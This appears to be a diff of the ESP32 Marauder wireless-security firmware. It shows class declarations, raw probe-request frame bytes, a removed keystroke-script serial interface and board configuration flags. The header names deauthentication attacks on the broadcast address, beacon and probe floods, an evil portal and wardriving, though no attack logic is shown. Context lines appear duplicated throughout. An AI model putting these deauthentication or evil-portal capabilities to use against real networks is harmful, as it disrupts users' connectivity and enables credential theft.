-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
-                              0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
-                              0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, 
-                              0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, 
-                              0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 
-                              0x00, 0x00, 0x00};
-
     uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
     uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
                                   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
                                   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
                                   0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
                                   0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
@@ -235,6 +241,13 @@ class WiFiScan
                               0xf0, 0xff, 0x02, 0x00
                               0xf0, 0xff, 0x02, 0x00
                           };
                           };
 
 
+    bool seen_mac(unsigned char* mac);
+    bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
+    void save_mac(unsigned char* mac);
+    void clearMacHistory();
+    void executeWarDrive();
+    void startWardriverWiFi();
+
     void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
     void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
 
 
     void packetMonitorMain(uint32_t currentTime);
     void packetMonitorMain(uint32_t currentTime);
@@ -248,19 +261,14 @@ class WiFiScan
     void sendProbeAttack(uint32_t currentTime);
     void sendProbeAttack(uint32_t currentTime);
     void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
-    void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
+    void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
-    void broadcastSetSSID(uint32_t current_time, char* ESSID);
+    void broadcastSetSSID(uint32_t current_time, const char* ESSID);
     void RunAPScan(uint8_t scan_mode, uint16_t color);
     void RunAPScan(uint8_t scan_mode, uint16_t color);
-    //void RunRickRoll(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
-    //void RunProbeFlood(uint8_t scan_mode, uint16_t color);
-    //void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
+    void RunGPSInfo();
     void RunMimicFlood(uint8_t scan_mode, uint16_t color);
     void RunMimicFlood(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconList(uint8_t scan_mode, uint16_t color);
-    void RunEspressifScan(uint8_t scan_mode, uint16_t color);
     void RunPwnScan(uint8_t scan_mode, uint16_t color);
     void RunPwnScan(uint8_t scan_mode, uint16_t color);
     void RunBeaconScan(uint8_t scan_mode, uint16_t color);
     void RunBeaconScan(uint8_t scan_mode, uint16_t color);
     void RunRawScan(uint8_t scan_mode, uint16_t color);
     void RunRawScan(uint8_t scan_mode, uint16_t color);
@@ -271,11 +279,12 @@ class WiFiScan
     void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
     void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
     void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
     void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
     void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
     void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
+    void RunEvilPortal(uint8_t scan_mode, uint16_t color);
+    bool checkMem();
     #ifdef HAS_BT
     #ifdef HAS_BT
       static void scanCompleteCB(BLEScanResults scanResults);
       static void scanCompleteCB(BLEScanResults scanResults);
     #endif
     #endif
 
 
-    //int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
 
 
   public:
   public:
     WiFiScan();
     WiFiScan();
@@ -284,9 +293,9 @@ class WiFiScan
 
 
     //LinkedList<ssid>* ssids;
     //LinkedList<ssid>* ssids;
 
 
-    int set_channel = 1;
+    uint8_t set_channel = 1;
 
 
-    int old_channel = 0;
+    uint8_t old_channel = 0;
 
 
     bool orient_display = false;
     bool orient_display = false;
     bool wifi_initialized = false;
     bool wifi_initialized = false;
@@ -299,11 +308,11 @@ class WiFiScan
     String dst_mac = "ff:ff:ff:ff:ff:ff";
     String dst_mac = "ff:ff:ff:ff:ff:ff";
     byte src_mac[6] = {};
     byte src_mac[6] = {};
 
 
-    //lv_obj_t * scr = lv_cont_create(NULL, NULL);
 
 
-    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 
+    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
     wifi_config_t ap_config;
     wifi_config_t ap_config;
 
 
+    String security_int_to_string(int security_type);
     char* stringToChar(String string);
     char* stringToChar(String string);
     void RunSetup();
     void RunSetup();
     int clearSSIDs();
     int clearSSIDs();
@@ -314,15 +323,14 @@ class WiFiScan
     bool shutdownWiFi();
     bool shutdownWiFi();
     bool shutdownBLE();
     bool shutdownBLE();
     bool scanning();
     bool scanning();
-    void joinWiFi(String ssid, String password);
+    //void joinWiFi(String ssid, String password);
     String getStaMAC();
     String getStaMAC();
     String getApMAC();
     String getApMAC();
     String freeRAM();
     String freeRAM();
     void changeChannel();
     void changeChannel();
     void changeChannel(int chan);
     void changeChannel(int chan);
     void RunInfo();
     void RunInfo();
-    void RunShutdownWiFi();
-    void RunShutdownBLE();
+    //void RunShutdownBLE();
     void RunGenerateSSIDs(int count = 20);
     void RunGenerateSSIDs(int count = 20);
     void RunClearSSIDs();
     void RunClearSSIDs();
     void RunClearAPs();
     void RunClearAPs();
@@ -332,9 +340,9 @@ class WiFiScan
     void main(uint32_t currentTime);
     void main(uint32_t currentTime);
     void StartScan(uint8_t scan_mode, uint16_t color = 0);
     void StartScan(uint8_t scan_mode, uint16_t color = 0);
     void StopScan(uint8_t scan_mode);
     void StopScan(uint8_t scan_mode);
+    //void addLog(String log, int len);
     
     
     static void getMAC(char *addr, uint8_t* data, uint16_t offset);
     static void getMAC(char *addr, uint8_t* data, uint16_t offset);
-    static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

+ 0 - 69
esp32cam_marauder/a32u4_interface.cpp

@@ -1,69 +0,0 @@
-#include "a32u4_interface.h"
-
-HardwareSerial MySerial_two(2);
-
-void A32u4Interface::begin() {
-  MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
-
-  delay(2000);
-
-  Serial.println("Setup A32U4 Serial Interface");
-
-  MySerial_two.println("DELAY 1");
-
-  delay(1000);
-
-  uint8_t a32u4_rep = 0;
-
-  if (MySerial_two.available()) {
-    a32u4_rep = (uint8_t)MySerial_two.read();
-  }
-
-  //display_string.trim();
-
-  //Serial.println("\nDisplay string: " + (String)display_string);
-
-  if (a32u4_rep != 0) {
-    this->supported = true;
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.print("A32U4 Said: ");
-    Serial.println(a32u4_rep);
-  }
-
-  this->initTime = millis();
-}
-
-void A32u4Interface::runScript(String script) {
-  MySerial_two.println(script);
-}
-
-void A32u4Interface::test() {
-  MySerial_two.println("STRING Hello, World!");
-}
-
-void A32u4Interface::main(uint32_t current_time) {
-
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial_two.write("PING");
-
-    //delay(1);
-    
-    if (MySerial_two.available()) {
-      Serial.println("Got A32U4 Serial data");
-      Serial.println(MySerial_two.read());
-    }
-  }
-
-}

+ 0 - 30
esp32cam_marauder/a32u4_interface.h

@@ -1,30 +0,0 @@
-#ifndef a32u4_interface_h
-#define a32u4_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#include <HardwareSerial.h>
-
-#define BAUD32U4 115200
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class A32u4Interface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void begin();
-
-    void main(uint32_t current_time);
-    void test();
-    void runScript(String script);
-};
-
-#endif

+ 641 - 261
esp32cam_marauder/configs.h

@@ -8,259 +8,514 @@
   //If not defined, will write packages to SD card if supported
   //If not defined, will write packages to SD card if supported
   //#define WRITE_PACKETS_SERIAL
   //#define WRITE_PACKETS_SERIAL
   
   
+  //// BOARD TARGETS
+  //#define MARAUDER_M5STICKC
   //#define MARAUDER_MINI
   //#define MARAUDER_MINI
   //#define MARAUDER_V4
   //#define MARAUDER_V4
   //#define MARAUDER_V6
   //#define MARAUDER_V6
   //#define MARAUDER_KIT
   //#define MARAUDER_KIT
   //#define GENERIC_ESP32
   //#define GENERIC_ESP32
   #define MARAUDER_FLIPPER
   #define MARAUDER_FLIPPER
-  #define DISABLE_RGB_LED
-  
   //#define ESP32_LDDB
   //#define ESP32_LDDB
   //#define MARAUDER_DEV_BOARD_PRO
   //#define MARAUDER_DEV_BOARD_PRO
+  //#define XIAO_ESP32_S3
+  //// END BOARD TARGETS
+
+  #define MARAUDER_VERSION "v0.12.0"
+
+ //// BOARD FEATURES
+  #ifdef MARAUDER_M5STICKC
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    #define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
 
 
-  #define MARAUDER_VERSION "v0.10.3"
-
-  //// BUTTON DEFINITIONS
   #ifdef MARAUDER_MINI
   #ifdef MARAUDER_MINI
-    #define L_BTN 13
-    #define C_BTN 34
-    #define U_BTN 36
-    #define R_BTN 39
-    #define D_BTN 35
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    #define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    //#define HAS_GPS
   #endif
   #endif
 
 
   #ifdef MARAUDER_V4
   #ifdef MARAUDER_V4
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
   #endif
   #endif
-  //// END BUTTON DEFINITIONS
 
 
-  //// DISPLAY DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define BANNER_TEXT_SIZE 2
+  #ifdef MARAUDER_V6
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
+  #ifdef MARAUDER_KIT
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
+  #ifdef GENERIC_ESP32
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    //#define HAS_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    //#define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+	#define DISABLE_RGB_LED
+    //#define HAS_GPS
+    #ifndef WRITE_PACKETS_SERIAL
+      #define HAS_SD
+      #define USE_SD
     #endif
     #endif
+    //#define HAS_TEMP_SENSOR
+  #endif
 
 
-    #define TFT_SHIELD
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
+  #ifdef ESP32_LDDB
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    //#define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
   #endif
   #endif
 
 
-  #ifdef MARAUDER_V6
-    #define BANNER_TEXT_SIZE 2
+  #ifdef MARAUDER_DEV_BOARD_PRO
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    //#define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
+  #ifdef XIAO_ESP32_S3
+    #define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    //#define HAS_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
+  //// END BOARD FEATURES
 
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
-    #endif
+  //// FLIPPER ZERO HAT SETTINGS
+  #ifdef FLIPPER_ZERO_HAT
 
 
-    #define TFT_DIY
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
-  #endif 
+    //#ifdef MARAUDER_FLIPPER
+    //  #define USE_FLIPPER_SD
+    //#endif
 
 
-  #ifdef MARAUDER_KIT
-    #define BANNER_TEXT_SIZE 2
+    #ifdef XIAO_ESP32_S3
+      #define USE_FLIPPER_SD
+    #endif
 
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
+  #endif
+  //// END FLIPPER ZERO HAT SETTINGS
+
+  //// POWER MANAGEMENT
+  #ifdef HAS_PWR_MGMT
+    #ifdef MARAUDER_M5STICKC
+      #include "AXP192.h"
     #endif
     #endif
+  #endif
+  //// END POWER MANAGEMENT
 
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
+  //// BUTTON DEFINITIONS
+  #ifdef HAS_BUTTONS
+
+    #ifdef MARAUDER_MINI
+      #define L_BTN 13
+      #define C_BTN 34
+      #define U_BTN 36
+      #define R_BTN 39
+      #define D_BTN 35
     #endif
     #endif
 
 
-    #define TFT_DIY
-    #define KIT
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
+    #ifdef MARAUDER_M5STICKC
+      #define L_BTN -1
+      #define C_BTN 37
+      #define U_BTN -1
+      #define R_BTN -1
+      #define D_BTN 39
+    #endif  
+
   #endif
   #endif
-  
-  #ifdef MARAUDER_MINI
-    #define TFT_MISO 19
-    #define TFT_MOSI 23
-    #define TFT_SCLK 18
-    #define TFT_CS 27
-    #define TFT_DC 26
-    #define TFT_RST 5
-    #define TFT_BL 32
-    #define TOUCH_CS 21
-    #define SD_CS 4
+  //// END BUTTON DEFINITIONS
+
+  //// DISPLAY DEFINITIONS
+  #ifdef HAS_SCREEN
+
+    #ifdef MARAUDER_M5STICKC
+      #define SCREEN_CHAR_WIDTH 40
+      //#define TFT_MISO 19
+      #define TFT_MOSI 15
+      #define TFT_SCLK 13
+      #define TFT_CS 5
+      #define TFT_DC 23
+      #define TFT_RST 18
+      #define TFT_BL 10
+      #define TOUCH_CS 10
+      //#define SD_CS 1
+
+      #define SCREEN_BUFFER
+
+      #define MAX_SCREEN_BUFFER 9
+
+      #define BANNER_TEXT_SIZE 1
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 135
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 240
+      #endif
+
+      #define CHAR_WIDTH 6
+      #define SCREEN_WIDTH TFT_HEIGHT // Originally 240
+      #define SCREEN_HEIGHT TFT_WIDTH // Originally 320
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_WIDTH
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT (TFT_HEIGHT/10) // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX TFT_HEIGHT // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH (TFT_HEIGHT/16)
+      #define LVGL_TICK_PERIOD 6
+    
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+
+    #endif
 
 
-    #define SCREEN_BUFFER
+    #ifdef MARAUDER_V4
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+      #define BANNER_TEXT_SIZE 2
 
 
-    #define MAX_SCREEN_BUFFER 9
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
 
 
-    #define BANNER_TEXT_SIZE 1
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
 
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 128
+      #define TFT_SHIELD
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+    
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
     #endif
     #endif
 
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 128
+    #ifdef MARAUDER_V6
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+    
+      #define BANNER_TEXT_SIZE 2
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
+
+      #define TFT_DIY
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
+      #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
+      #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
+      #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
+      #define YMAX 320 // Bottom of screen area
+      #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
+      //#define MENU_FONT NULL
+      #define MENU_FONT &FreeMono9pt7b // Winner
+      //#define MENU_FONT &FreeMonoBold9pt7b
+      //#define MENU_FONT &FreeSans9pt7b
+      //#define MENU_FONT &FreeSansBold9pt7b
+      #define BUTTON_ARRAY_LEN 12
+      #define STATUS_BAR_WIDTH 16
+      #define LVGL_TICK_PERIOD 6
+
+      #define FRAME_X 100
+      #define FRAME_Y 64
+      #define FRAME_W 120
+      #define FRAME_H 50
+    
+      // Red zone size
+      #define REDBUTTON_X FRAME_X
+      #define REDBUTTON_Y FRAME_Y
+      #define REDBUTTON_W (FRAME_W/2)
+      #define REDBUTTON_H FRAME_H
+    
+      // Green zone size
+      #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
+      #define GREENBUTTON_Y FRAME_Y
+      #define GREENBUTTON_W (FRAME_W/2)
+      #define GREENBUTTON_H FRAME_H
+    
+      #define STATUSBAR_COLOR 0x4A49
+    
+      #define KIT_LED_BUILTIN 13
+    #endif 
+
+    #ifdef MARAUDER_KIT
+      #define SCREEN_CHAR_WIDTH 40
+      #define HAS_ILI9341
+    
+      #define BANNER_TEXT_SIZE 2
+
+      #ifndef TFT_WIDTH
+        #define TFT_WIDTH 240
+      #endif
+
+      #ifndef TFT_HEIGHT
+        #define TFT_HEIGHT 320
+      #endif
+
+      #define TFT_DIY
+      #define KIT
+    
+      #define SCREEN_WIDTH TFT_WIDTH
+      #define SCREEN_HEIGHT TFT_HEIGHT
+      #define HEIGHT_1 TFT_WIDTH
+      #define WIDTH_1 TFT_HEIGHT
+      #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
